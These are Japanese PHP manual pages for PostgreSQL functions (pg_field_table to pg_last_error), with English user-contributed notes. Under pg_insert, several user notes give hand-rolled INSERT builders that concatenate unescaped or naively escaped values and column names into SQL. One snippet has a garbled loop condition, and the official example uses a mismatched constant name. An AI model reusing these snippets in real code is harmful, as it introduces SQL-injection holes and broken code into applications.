pg_field_table ( resource $result , int $field_number , bool $oid_only = false ) : mixed

pg_field_table() は、フィールドが属するテーブルの名前か あるいは oid_only が true の場合にテーブルの oid を返します。

パラメータ

result

pg_query()、pg_query_params() あるいは pg_execute() (その他も含む) から返された、PostgreSQL クエリ結果リソース。

field_number

0 から始まるフィールド番号。

oid_only

デフォルトでは、フィールドが属するテーブルの名前が返されます。 しかし oid_only をtrue に設定すると、 その代わりに oid が返されます。

返り値

成功した場合にフィールドのテーブル名あるいは oid、 あるいは失敗した場合に false を返します。

例

例1 フィールドについてのテーブル情報の取得

<?php
$dbconn = pg_connect("dbname=publisher") or die("接続できません");

$res = pg_query($dbconn, "SELECT bar FROM foo");

echo pg_field_table($res, 0);
echo pg_field_table($res, 0, true);

$res = pg_query($dbconn, "SELECT version()");
var_dump(pg_field_table($res, 0));
?>

上の例の出力は、 たとえば以下のようになります。

foo
14379580

bool(false)

注意

注意:

テーブル名を返すよりも oid を返すほうがずっと高速です。 なぜなら、テーブル名を取得するには、 データベースのシステムテーブルにクエリを発行しなければならないからです。

参考

  • pg_field_name() - フィールドの名前を返す
  • pg_field_type() - フィールド番号に対応する型名を返す

User Contributed Notes

giultar at gmail dot com 02-Jun-2020 08:52
this function return an OID even if your field comes from a view or a select but return FALSE if your field comes from an UNION select
strata_ranger at hotmail dot com 15-May-2009 11:11
pg_field_table is primarily useful for queries that involve joins between multiple tables, e.g:

<?php
$res = pg_query("SELECT table1.foo, table2.bar FROM table1 JOIN table2");
echo pg_field_table($res, 0); // Outputs 'table1'
echo pg_field_table($res, 1); // Outputs 'table2'
?>

However, be aware of a few easy 'gotchas':

1- If your query contains static values in its select-list, pg_field_table() will yield FALSE for those fields (because it was a static value, not one fetched from a table):

<?php
$res = pg_query("SELECT 'foo', bar FROM table");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // Outputs 'table'
?>

2- If you UNION two queries together from different tables, pg_field_table() will return FALSE for all fields:

<?php
$res = pg_query("(Select foo, bar from table1) UNION (Select foo, bar from table2)");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // FALSE
?>


フィールド番号に対応する型 ID（OID）を返す

  • ≪ pg_field_table
  • pg_field_type ≫
  • PHP Manual
  • PostgreSQL 関数
  • フィールド番号に対応する型 ID（OID）を返す

pg_field_type_oid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_field_type_oid — フィールド番号に対応する型 ID（OID）を返す

説明

pg_field_type_oid ( resource $result , int $field_number ) : int

pg_field_type_oid() は、指定した PostgreSQL result リソースにおける指定した field_number の型の OID を返します。

フィールド型についての詳細な情報を得るには、PostgreSQL のシステムテーブル pg_type に対して、この関数で取得した OID を用いて 問い合わせます。PostgreSQL の format_type() 関数は、 型の OID を SQL の型名に変換します。

注意:

フィールドが（基本型ではなく）PostgreSQL ドメインを使用している場合は、 ドメインそのものの OID ではなくドメインの元となっている型の OID を返します。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

field_number

フィールド番号。0 から始まります。

返り値

フィールドの型に対応する OID を返します。エラー時には false を返します。

例

例1 フィールドの情報を得る

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // 'title' は varchar 型であると仮定する
  $res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

  echo "Title field type OID: ", pg_field_type_oid($res, 0);
?>

上の例の出力は以下となります。

Title field type OID: 1043

参考

  • pg_field_type() - フィールド番号に対応する型名を返す
  • pg_field_prtlen() - 表示される長さを返す
  • pg_field_name() - フィールドの名前を返す

User Contributed Notes

stanislav dot perfilov at gmail dot com 20-Jan-2021 01:23
<?php

private function mapping($q, $result)
    {
        $types = [];
        for ($i = 0, $count = \pg_num_fields($q); $i < $count; ++$i) {
            $types[$i] = \pg_field_type_oid($q, $i);
        }
        foreach ($result as $k => &$row) {
            $i = -1;
            foreach ($row as $name => &$value) {
                ++$i;
                if ($value === null) {
                    continue;
                }
                switch ($types[$i]) {
                    case 20:
                    case 21:
                    case 23: $value = (int)$value; break;
                    case 16507: /*$value = (string)$value; */break;
                    default:
                        throw new \RuntimeException(
                            \pg_field_type($q, $i) .' type. Need mapping ' . \pg_field_type_oid($q, $i)
                        );
                }
            }
        }
        unset($value, $row);

        return $result;
    }

?>
mauroi at digbang dot com 24-Mar-2005 07:55
This function can be used to improve the performance of your application.
pg_field_type() makes an internal query to the pg_type table and it can be really slow.
So if your application previously know the oids of your database, you can save the execution time of this query in every request.


フィールド番号に対応する型名を返す

  • ≪ pg_field_type_oid
  • pg_flush ≫
  • PHP Manual
  • PostgreSQL 関数
  • フィールド番号に対応する型名を返す

pg_field_type

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_type — フィールド番号に対応する型名を返す

説明

pg_field_type ( resource $result , int $field_number ) : string

pg_field_type() は、指定した PostgreSQL の result リソースにおいて、指定した field_number の型名を保持する文字列を 返します。

注意:

フィールドが（基本型ではなく）PostgreSQL ドメインを使用している場合は、 ドメインそのものの名前ではなくドメインの元となっている型の名前を返します。

注意:

この関数は、以前は pg_fieldtype() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

field_number

フィールド番号。0 から始まります。

返り値

フィールド型の名前を文字列で返します。エラー時には false を返します。

例

例1 フィールドの情報を取得する

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // 'title' は varchar 型と仮定する
  $res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

  echo "Title field type: ", pg_field_type($res, 0);
?>

上の例の出力は以下となります。

Title field type: varchar

参考

  • pg_field_prtlen() - 表示される長さを返す
  • pg_field_name() - フィールドの名前を返す
  • pg_field_type_oid() - フィールド番号に対応する型 ID（OID）を返す

User Contributed Notes

Joshua Burns 01-Mar-2013 10:29
Here is an updated list of nearly every PostgreSQL data type, and PHP's internal C-type equivalent, updated for PostgreSQL 9.2. The first array maps PHP's internal data type to PostgreSQL's equivalents. The second maps PostgreSQL's data-types to PHP's equivalents.

<?php

$php_to_pg = array(
    'bit' => array('bit'),
    'bool' => array('boolean'),
    'box' => array('box'),
    'bpchar' => array('character','char'),
    'bytea' => array('bytea'),
    'cidr' => array('cidr'),
    'circle' => array('circle'),
    'date' => array('date'),
    'daterange' => array('daterange'),
    'float4' => array('real'),
    'float8' => array('double precision'),
    'inet' => array('inet'),
    'int2' => array('smallint', 'smallserial'),
    'int4' => array('integer', 'serial'),
    'int4range' => array('int4range'),
    'int8' => array('bigint', 'bigserial'),
    'int8range' => array('int8range'),
    'interval' => array('interval'),
    'json' => array('json'),
    'lseg' => array('lseg'),
    'macaddr' => array('macaddr'),
    'money' => array('money'),
    'numeric' => array('decimal', 'numeric'),
    'numrange' => array('numrange'),
    'path' => array('path'),
    'point' => array('point'),
    'polygon' => array('polygon'),
    'text' => array('text'),
    'time' => array('time', 'time without time zone'),
    'timestamp' => array('timestamp', 'timestamp without time zone'),
    'timestamptz' => array('timestamp with time zone'),
    'timetz' => array('time with time zone'),
    'tsquery' => array('tsquery'),
    'tsrange' => array('tsrange'),
    'tsvector' => array('tsvector'),
    'uuid' => array('uuid'),
    'varbit' => array('bit varying'),
    'varchar' => array('character varying', 'varchar'),
    'xml' => array('xml'),
);

$pg_to_php = array(
    'bit' => 'bit',
    'boolean' => 'bool',
    'box' => 'box',
    'character' => 'bpchar',
    'char' => 'bpchar',
    'bytea' => 'bytea',
    'cidr' => 'cidr',
    'circle' => 'circle',
    'date' => 'date',
    'daterange' => 'daterange',
    'real' => 'float4',
    'double precision' => 'float8',
    'inet' => 'inet',
    'smallint' => 'int2',
    'smallserial' => 'int2',
    'integer' => 'int4',
    'serial' => 'int4',
    'int4range' => 'int4range',
    'bigint' => 'int8',
    'bigserial' => 'int8',
    'int8range' => 'int8range',
    'interval' => 'interval',
    'json' => 'json',
    'lseg' => 'lseg',
    'macaddr' => 'macaddr',
    'money' => 'money',
    'decimal' => 'numeric',
    'numeric' => 'numeric',
    'numrange' => 'numrange',
    'path' => 'path',
    'point' => 'point',
    'polygon' => 'polygon',
    'text' => 'text',
    'time' => 'time',
    'time without time zone' => 'time',
    'timestamp' => 'timestamp',
    'timestamp without time zone' => 'timestamp',
    'timestamp with time zone' => 'timestamptz',
    'time with time zone' => 'timetz',
    'tsquery' => 'tsquery',
    'tsrange' => 'tsrange',
    'tstzrange' => 'tstzrange',
    'tsvector' => 'tsvector',
    'uuid' => 'uuid',
    'bit varying' => 'varbit',
    'character varying' => 'varchar',
    'varchar' => 'varchar',
    'xml' => 'xml'
);

?>
Anonymous 16-Jan-2010 07:18
Also be aware that postgreSQL array fields will prefix the type name with an underscore (e.g. "_int4" or "_text"), while composite a.k.a. row-type fields will return type "record".
marxarelli 02-Jan-2006 02:34
Because complete documentation is always helpful, here are all the PostgreSQL general purpose types as they are listed in the 8.1 documentation, and each corresponding string returned by pg_field_type().

bigint => int8
bigserial => int8
bit => bit
bit varying => varbit
boolean => bool
box => box
bytea => bytea
character varying => varchar
character => bpchar
cidr => cidr
circle => circle
date => date
double precision => float8
inet => inet
integer => int4
interval => interval
line => line
lseg => lseg
macaddr => macaddr
money => money
numeric => numeric
path => path
point => point
polygon => polygon
real => float4
smallint => int2
serial => int4
text => text
time => time
time with time zone => timetz
timestamp => timestamp
timestamp with time zone => timestamptz

And for the record... (note the 7.4 client lib)
# postmaster --version
postmaster (PostgreSQL) 8.0.4

# ldd libphp4.so
...
libpq.so.3 => /usr/lib/libpq.so.3 (0xb7ac8000)
...
andy at a 2 h d dot com 03-May-2003 12:09
The types returned are:
  bool
  int2 (smallint)
  int4
  int8 (bigint)
  numeric
  float4 (real / float)
  float8 (double)
  timestamp
  date
  time
  varchar
  bpchar (fixed leng string, 'blank padded char')
  inet (ip address)
  money

There are some other more esoteric types, e.g. 'circle', but these are the most common.


送信を待っているクエリデータをフラッシュする

  • ≪ pg_field_type
  • pg_free_result ≫
  • PHP Manual
  • PostgreSQL 関数
  • 送信を待っているクエリデータをフラッシュする

pg_flush

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_flush — 送信を待っているクエリデータをフラッシュする

説明

pg_flush ( resource $connection ) : mixed

pg_flush() は、送信を待機中のすべての クエリデータを接続へフラッシュします。

パラメータ

connection

PostgreSQL の接続リソース。

返り値

フラッシュが成功したか、またはフラッシュを待機中のデータがなかった場合 true、 保留中のデータの一部がフラッシュされたが、まだ残りがある場合、0。 失敗した場合に false を返します

User Contributed Notes

There are no user contributed notes for this page.


メモリを開放する

  • ≪ pg_flush
  • pg_get_notify ≫
  • PHP Manual
  • PostgreSQL 関数
  • メモリを開放する

pg_free_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_free_result — メモリを開放する

説明

pg_free_result ( resource $result ) : bool

pg_free_result() は、指定された PostgreSQL クエリ 結果 resource に関するメモリとデータを開放します。

この関数は、スクリプト実行中のメモリ使用量を抑制したい場合にのみ コールする必要があります。それ以外の場合は、すべての結果保持用 メモリは、スクリプトが終了する際に自動的に開放されます。

注意:

この関数は、以前は pg_freeresult() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_free_result() の例

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";

pg_free_result($res);
?>

上の例の出力は以下となります。

First field in the second row is: 2

参考

  • pg_query() - クエリを実行する
  • pg_query_params() - SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ
  • pg_execute() - 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ

User Contributed Notes

Stefan W 30-Aug-2013 12:12
You do NOT need to call pg_free_result() on every result resource you create.
When result resources go out of scope, they are garbage collected just like everything else.
Unless you're hoarding your results somewhere, you can basically ignore this function.

Here's a little test you can run to confirm this: http://pastebin.com/ghw1PHuE


SQL NOTIFY メッセージを取得する

  • ≪ pg_free_result
  • pg_get_pid ≫
  • PHP Manual
  • PostgreSQL 関数
  • SQL NOTIFY メッセージを取得する

pg_get_notify

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_get_notify — SQL NOTIFY メッセージを取得する

説明

pg_get_notify ( resource $connection , int $result_type = ? ) : array

pg_get_notify()は、NOTIFY SQL コマンドにより送信された通知メッセージを取得します。 通知メッセージを取得するには、LISTEN SQL コマンドを発行する必要があります。

パラメータ

connection

PostgreSQL データベースの接続リソース。

result_type

result_type は、返り値の形式を制御する オプションのパラメータです。result_type は定数であり、次の値のどれかとすることが可能です。 PGSQL_ASSOC、PGSQL_NUM および PGSQL_BOTH。 PGSQL_NUM を使用すると、pg_get_notify() は数値添字の配列を返します。また、PGSQL_ASSOC を使用すると連想配列形式で返します。PGSQL_BOTH がデフォルト設定で、これは数値添字の配列と連想配列の両方を返します。

返り値

NOTIFY メッセージ名とバックエンドの PID を含む 配列を返します。 PHP 5.4.0 以降、サーバでサポートされている場合は、 配列にはサーバーのバージョンおよびペイロードも含まれます。 もし待ち受ける NOTIFY が存在しない場合は、 false を返します。

例

例1 PostgreSQL NOTIFY メッセージ

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

// 他のプロセスからの 'author_updated' メッセージを監視する
pg_query($conn, 'LISTEN author_updated;');
$notify = pg_get_notify($conn);
if (!$notify) {
  echo "No messages\n";
} else {
  print_r($notify);
}
?>

参考

  • pg_get_pid() - バックエンドのプロセス ID を得る

User Contributed Notes

david at frankieandshadow dot com 22-Oct-2020 01:52
It appears that pg_get_notify does not distinguish between no message waiting and a failure when checking - both seem to return FALSE.

I had to add a pg_check_connection(...) before pg_get_notify to check the connection is still alive (it's quite likely to be a long-standing connection with pg_get_notify as you'll be polling waiting for something to happen). In my case the remote database server had a hiccup, and without pg_check_connection the listeners failed to notice, so never saw later notifications.
glococo at gmail dot com 17-Jun-2017 08:12
Instant yet Simple PHP notification with HTML5 Server-Sent Events

sse.php
<?php
$dbconn = new PDO("pgsql:host=localhost;dbname=mydb", "pduser", "userpass");
$dbconn->exec('LISTEN "channel_name"');   // those doublequotes are very important

header("X-Accel-Buffering: no"); // disable ngnix webServer buffering
header("Content-Type: text/event-stream");
header("Cache-Control: no-cache");
ob_end_flush();  // close PHP output buffering
$inc=0;

while (1) {
  $result = "";
  // wait for one Notify 10seconds instead of using sleep(10)
  $result = $dbconn->pgsqlGetNotify(PDO::FETCH_ASSOC, 10000);

  if ( $result ) {
        echo "id: $inc\ndata: ".stripslashes(json_encode($result))."\n\n";
        $inc++;
  }

  flush();
}
?>

Tested with HTML+JS sample file from Mozilla web site (ssedemo.php)


バックエンドのプロセス ID を得る

  • ≪ pg_get_notify
  • pg_get_result ≫
  • PHP Manual
  • PostgreSQL 関数
  • バックエンドのプロセス ID を得る

pg_get_pid

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_get_pid — バックエンドのプロセス ID を得る

説明

pg_get_pid ( resource $connection ) : int

pg_get_pid() は、バックエンド(データベースサーバ のプロセス)のプロセス ID を取得します。プロセス ID は、 NOTIFY メッセージが他のプロセスから送信されている かどうかを調べるために有用です。

パラメータ

connection

PostgreSQL データベースの接続リソース。

返り値

バックエンドのデータベースのプロセス ID 。

例

例1 PostgreSQL バックエンドの PID

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

// バックエンドのプロセスIDを取得。このプロセスIDをpg_get_notify()で使用
$pid = pg_get_pid($conn);
?>

参考

  • pg_get_notify() - SQL NOTIFY メッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


非同期クエリの結果を取得する

  • ≪ pg_get_pid
  • pg_host ≫
  • PHP Manual
  • PostgreSQL 関数
  • 非同期クエリの結果を取得する

pg_get_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_get_result — 非同期クエリの結果を取得する

説明

pg_get_result ( resource $connection = ? ) : resource

pg_get_result() は、
pg_send_query()・pg_send_query_params()
あるいは pg_send_execute()
で実行した非同期クエリから結果リソースを取得します。

pg_send_query() およびその他の非同期クエリ関数は、 複数のクエリを PostgreSQL サーバーに送信することが可能です。クエリの結果を ひとつずつ取得するには、pg_get_result() を使用します。

パラメータ

connection

PostgreSQL データベースの接続リソース。

返り値

結果 resource を返します。結果がもうない場合に false を返します。

例

例1 pg_get_result() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  $res2 = pg_get_result($dbconn);
  echo "Second call to pg_get_result(): $res2\n";
  $rows2 = pg_num_rows($res2);
  echo "$res2 has $rows2 records\n";
?>

上の例の出力は以下となります。

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

参考

  • pg_send_query() - 非同期クエリを送信する

User Contributed Notes

Ondej Bouda 14-Sep-2015 10:04
It might seem that after calling pg_get_result() upon sending just a single query, the connection will not be busy. The correct way is, though, to call extra pg_get_result() in a loop until it returns false [1].

<?php
$conn = pg_connect('...', PGSQL_CONNECT_FORCE_NEW);
for ($i = 0; $i < 10000; $i++) {
    $query = 'erroneous query';
    if (pg_connection_busy($conn)) {
        fprintf(STDERR, "Connection is busy\n");
        exit(1);
    }
    pg_send_query($conn, $query);
    $res = pg_get_result($conn);
    if ($res === false) {
        fprintf(STDERR, "A result was expected\n");
        exit(1);
    }

    /* The following does not seem necessary for good queries, but is vital for erroneous queries.
       Commenting the loop out leads to this script fail with the "Connection is busy" error. */
    while (pg_get_result($conn));

    // result processing...
}
?>

See http://www.postgresql.org/message-id/flat/gtitqq$26l3$1@news.hub.org#gtitqq$26l3$1@news.hub.org and https://bugs.php.net/bug.php?id=52750 for detailed information.

[1] Or, even better, use an asynchronous connection since PHP 5.6.
gullevek at gullevek dot org 10-Oct-2013 06:28
To have a a simple wait output with async queries you can use the pg_connection_busy command:

<?php
$dbh = pg_connect("host=XXX user=XXX password=XXX dbname=XXX");
if (!$dbh)
{
    print "Failed to connect";
    exit;
}

$query = "SELECT pg_sleep(10)";
if (!pg_connection_busy($dbh))
{
    $sent = pg_send_query($dbh, $query);
    print "Sent query, waiting: ";
    while (pg_connection_busy($dbh)
    {
        print ".";
        flush();
    }
    $res = pg_get_result($dbh);
    print "<br>"; // or \n
    print "Result is: $res";
}

pg_close($dbh);
?>
Marko Tiikkaja 25-Oct-2008 05:14
william at 25thandClement dot com said: "There is no way to poll/wait for a notification to come in. .."
Yes, there is. If there is a query in progress, pg_get_result() will block and return the result of that query when it's complete.
william at 25thandClement dot com 27-Jan-2005 03:03
There is no way to poll/wait for a notification to come in. You either have to enter a busy loop or sleep. Both options are horrible. It would be nice for PHP to provide access to PQsocket so one could select() on the socket connection. This is how it's done from C or Perl.


接続に関連するホスト名を返す

  • ≪ pg_get_result
  • pg_insert ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続に関連するホスト名を返す

pg_host

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_host — 接続に関連するホスト名を返す

説明

pg_host ( resource $connection = ? ) : string

pg_host() は、指定した PostgreSQL connection リソースが接続しているホストの 名前を返します。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

connection が接続しているホストの名前を 文字列で返します。エラー時には false を返します。

例

例1 pg_host() の例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

参考

  • pg_connect() - PostgreSQL 接続をオープンする
  • pg_pconnect() - 持続的な PostgreSQL 接続をオープンする

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 06:21
This is a simple example of this function, which returns the name of which PostreSQL Database you are currently connected to.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

This function is extremely useful for sites which connect to multiple Postgresql services.

Regards,  --mark


テーブルに配列を挿入する

  • ≪ pg_host
  • pg_last_error ≫
  • PHP Manual
  • PostgreSQL 関数
  • テーブルに配列を挿入する

pg_insert

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_insert — テーブルに配列を挿入する

説明

pg_insert ( resource $connection , string $table_name , array $assoc_array , int $options = PGSQL_DML_EXEC ) : mixed

pg_insert() は、 table_name で指定したテーブルに assoc_array の値をを挿入します。

options が指定されている場合、そのオプションと ともに pg_convert() が assoc_array に適用されます。

デフォルトでは、 pg_insert() は生の値を渡します。 値はエスケープするか、PGSQL_DML_ESCAPE オプションを指定しなければいけません。 PGSQL_DML_ESCAPE はパラメータや識別子をクォートし、エスケープします。 よって、テーブル/カラム名は大文字小文字を区別します。

エスケープやプリペアドクエリであっても、 LIKE, JSON, Array, Regex などのクエリを守れない可能性があることに注意してください。 これらのパラメータはコンテクストに応じて処理されるべきです。 たとえば、値をエスケープ/検証する処理を行うことなどです。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

行を挿入するテーブルの名前。テーブル table_name は、少なくとも assoc_array の要素数ぶんのカラムを 保持している必要があります。

assoc_array

テーブル table_name のフィールド名をキーに、 挿入する内容を値にもつ配列。

options

PGSQL_CONV_OPTS、 PGSQL_DML_NO_CONV、 PGSQL_DML_ESCAPE、 PGSQL_DML_EXEC、 PGSQL_DML_ASYNC あるいは PGSQL_DML_STRING を組み合わせた数。 PGSQL_DML_STRING が options に含まれていた場合、 クエリ文字列が返されます。 PGSQL_DML_NO_CONV あるいは PGSQL_DML_ESCAPE が設定されている場合は、内部的に pg_convert() を呼びません。

返り値

成功時に接続リソースを返し、失敗した場合に false を返します。 options で PGSQL_DML_STRING が渡された場合は文字列を返します。

例

例1 pg_insert() の例

<?php
  $dbconn = pg_connect('dbname=foo');
  // これは少しだけ安全です。なぜなら、全ての値がエスケープされるからです。
  // しかし、PostgreSQL は JSON/Array をサポートしています。これらの型に
  // ついてはエスケープされたクエリや、プリペアドクエリでも安全ではありません。
  $res = pg_insert($dbconn, 'post_log', $_POST, PG_DML_ESCAPE);
  if ($res) {
      echo "POST data is successfully logged\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

変更履歴

バージョン | 説明
5.6.0 | PGSQL_DML_STRING が渡されない限り、 この関数は、成功時に true の代わりに接続リソースを返します。
5.6.0 | 実験的な関数ではなくなりました。定数 PGSQL_DML_ESCAPE が追加されました。 true/false や null をサポートするようになりました。
5.5.3/5.4.19 | table_name に対する SQL インジェクション、そして識別子に対する間接的な SQL インジェクションの問題を修正しました。

参考

  • pg_convert() - 連想配列の値を、SQL 文として実行可能な形式に変換する

User Contributed Notes

phpuser at ego dot gen dot nz 16-Dec-2011 09:12
This function cannot be used to insert a record with only default values - i.e. with an assoc_array of array()
Anonymous 13-Oct-2008 06:06
it seems to fail silently if you try to insert somehting with a mis-named column
jsnell at e-normous dot com 27-Sep-2007 12:49
If you need schema support, this function will do something similar to pg_insert:

function pg_insert_with_schema($connection, $table, $updates)
{
 $schema = 'public';
 if (strpos($table, '.') !== false)
    list($schema, $table) = explode('.', $table);

    if (count($updates) == 0) {
        $sql = "INSERT INTO $schema.\"$table\" DEFAULT VALUES";
            return pg_query($sql);
        } else {
 $sql = "INSERT INTO $schema.\"$table\" ";

 $sql .= '("';
 $sql .= join('", "', array_keys($updates));
 $sql .= '")';

 $sql .= ' values (';
 for($i = 0; $i < count($updates); $i++)
   $sql .= ($i != 0? ', ':'').'$'.($i+1);
 $sql .= ')';
 return pg_query_params($connection, $sql, array_values($updates));
 }
}
excalibur at nospam dot icehouse dot net 16-Oct-2006 08:06
Today at work I isolated a problem I was having with this function to how I was formatting the date.  I was assigning the date in my code as follows:

$today = date( "Ymd" ); // ISO 8601

This format is acceptable to PostgreSQL, as verified by their documentation and buy tests using psql.  However, to make it work in my code, I had to make the following change:

$today = date( "Y-m-d" ); // also ISO 8601 format
ANDYCHR17 at HOTMAIL dot COM 05-May-2006 02:50
Had a few issues while trying to run this in PHP 4.4.0:

- I could not get it to work with column names that are SQL reserved words (example: desc, order). I was forced to change the column names in order to use the function. I could not put the column names in quotes, because that caused pg_convert() to fail.

- Function was returning false until I passed the PGSQL_DML_EXEC option.
skippy at zuavra dot net 14-Feb-2005 07:08
Beware of the following: pg_insert() and pg_update() are adding slashes to all character-like fields they work with. This makes them SQL injection super-safe, but there are unwanted consequences, as follows:

If you have a regular setup with magic_quotes_gcp=On, and you use pg_insert() or pg_update(), you will end up with fields that look as if you used addslashes() twice. To solve this, you can use stripslashes() on the data just before using it with pg_insert() or pg_update().

There's another alternative, which seems better to me. Why make yourself crazy all over the code, adding slashes, stripping slashes, worrying whether magic_quotes_gpc is on or off and so on and so forth? Why do this, when the only place you actually need those slashes is right when you push the data into the database?

So why not get rid of your addslashes() and stripslashes() from all over your code, and turn magic_quotes_gcp off. As long as you always use pg_insert() and pg_update() to do your DB work, you're SQL-injection safe AND slash-headache free.
mina86 at tlen dot pl 23-May-2004 06:24
Next version :) My version checks whether value is bool, null, string or numeric and if one of the values is not function returns false if not. null values are inserted as NULL, bool as true or false and strings are add-shlashed before adding to query string. Note, that this function is not safe. SQL injection is possible with column names if you use $_POST or something similar as a $array.

<?php
function db_build_insert($table, $array) {
  if (count($array)===0) return false;
  $columns = array_keys($array);
  $values = array_values($array);
  unset($array);

  for ($i = 0, $c = count($values); $i$c; ++$i) {
    if (is_bool($values[$i])) {
      $values[$i] = $values[$i]?'true':'false';
    } elseif (is_null($values[$i])) {
      $values[$i] = 'NULL';
    } elseif (is_string($values[$i])) {
      $values[$i] = "'" . addslashes($values[$i]) . "'";
    } elseif (!is_numeric($values[$i])) {
      return false;
    }
  }

  return "INSERT INTO $table ($column_quote" . implode(', ', $columns) .
    ") VALUES (" . implode(', ', $values) . ")";
}
?>
shane at treesandthings dot com 21-Jan-2004 08:04
Returns SQL statement, slight improvement on the code from 'rorezende at hotmail dot com'.  This version adds bool values correctly.It also checks to make sure there is actually a value in the array before including it in the sql statement. (ie: null values or empty strings won't be added to the sql statement)

<?PHP
function db_build_insert($table,$array)
{

   $str = "insert into $table ";
   $strn = "(";
   $strv = " VALUES (";
   while(list($name,$value) = each($array)) {

       if(is_bool($value)) {
                $strn .= "$name,";
                $strv .= ($value ? "true":"false") . ",";
                continue;
        };

       if(is_string($value)) {
                $strn .= "$name,";
                $strv .= "'$value',";
                continue;
        }
       if (!is_null($value) and ($value != "")) {
                $strn .= "$name,";
                $strv .= "$value,";
                continue;
       }
   }
   $strn[strlen($strn)-1] = ')';
   $strv[strlen($strv)-1] = ')';
   $str .= $strn . $strv;
   return $str;

}
?>
rorezende at hotmail dot com 16-Jul-2003 11:49
Time is money, then I write a function similar to pg_insert in PHP (only output sql statement) :

   function db_mount_insert($table,$array) {

    $str = "insert into $table (";
    while(list($name,$value) = each($array)) {
        $str .= "$name,";
    }
    $str[strlen($str)-1] = ')';
    $str .= " values (";
    reset($array);
    while(list($name,$value) = each($array)) {
        if(is_string($value))
            $str .= "'$value',";
        else
            $str .= "$value,";
    }
    $str[strlen($str)-1] = ')';
    $str .= ";"    ;

    return $str;

   }


特定の接続から直近のエラーメッセージ文字列を取得する

  • ≪ pg_insert
  • pg_last_notice ≫
  • PHP Manual
  • PostgreSQL 関数
  • 特定の接続から直近のエラーメッセージ文字列を取得する

pg_last_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_last_error — 特定の接続から直近のエラーメッセージ文字列を取得する

説明

pg_last_error ( resource $connection = ? ) : string

pg_last_error() は、指定した connection から直近のエラーメッセージを返します。

エラーメッセージは、内部的な PostgreSQL(libpq) 関数コールにより 上書きされる可能性があります。PostgreSQL モジュール関数の中で複数の エラーが発生した場合には、この関数は適切なエラーメッセージを返さない 可能性があります。

エラー処理を改善するために
pg_result_error()、pg_result_error_field()、
pg_result_status() および
pg_connection_status() を使用ください。

注意:

この関数は、以前は pg_errormessage() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

指定した connection の直近のエラーメッセージを 含む文字列を返します。エラー時には false を返します。

例

例1 pg_last_error() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("接続できませんでした");

  // 失敗するクエリ
  $res = pg_query($dbconn, "select * from doesnotexist");

  echo pg_last_error($dbconn);
?>

参考

  • pg_result_error() - 結果に関連するエラーメッセージを取得する
  • pg_result_error_field() - エラー報告の各フィールドを返す

User Contributed Notes

Tamas Bolner 26-Aug-2010 10:48
From a practical view there are two types of error messages when using transactions:

-"Normal" errors: in this case, the application should stop the current process and show an error message to the user.

-Deadlock errors. This shows that the deadlock detection process of PostgreSQL found a circle of dependency, and broke it by rolling back the transaction in one of the processes, which gets this error msg. In this case, the application should not stop, but repeat the transaction.

